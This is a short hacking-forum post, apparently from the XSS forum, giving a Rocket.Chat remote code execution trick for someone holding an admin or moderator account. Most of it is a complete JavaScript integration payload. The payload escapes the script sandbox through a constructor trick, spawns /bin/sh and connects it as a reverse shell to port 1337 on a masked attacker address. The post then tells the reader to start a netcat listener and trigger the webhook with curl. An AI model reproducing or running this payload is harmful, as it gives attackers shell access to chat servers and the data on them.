Rocket Chat RCE

[D2]

Hello Team,

www.rocket.chat

you must have Mod/Admin Panel Account , Guests cant add Integrations.

trick is simple , its based on node so we can get reverse connection

login and go to INTEGRATION

added a js code for reverse shell
JavaScript: Скопировать в буфер обмена

const require = console.log.constructor('return process.mainModule.require')();
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "XX.XX.XX.XX", function()
{ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });

activate netcat on the same port and curl the webhook !

we got a reverse connection!

Long live js <3

no translation needed i believe images says it all !

never shared on other forums , keep the content copyright to XSS!

./0x0​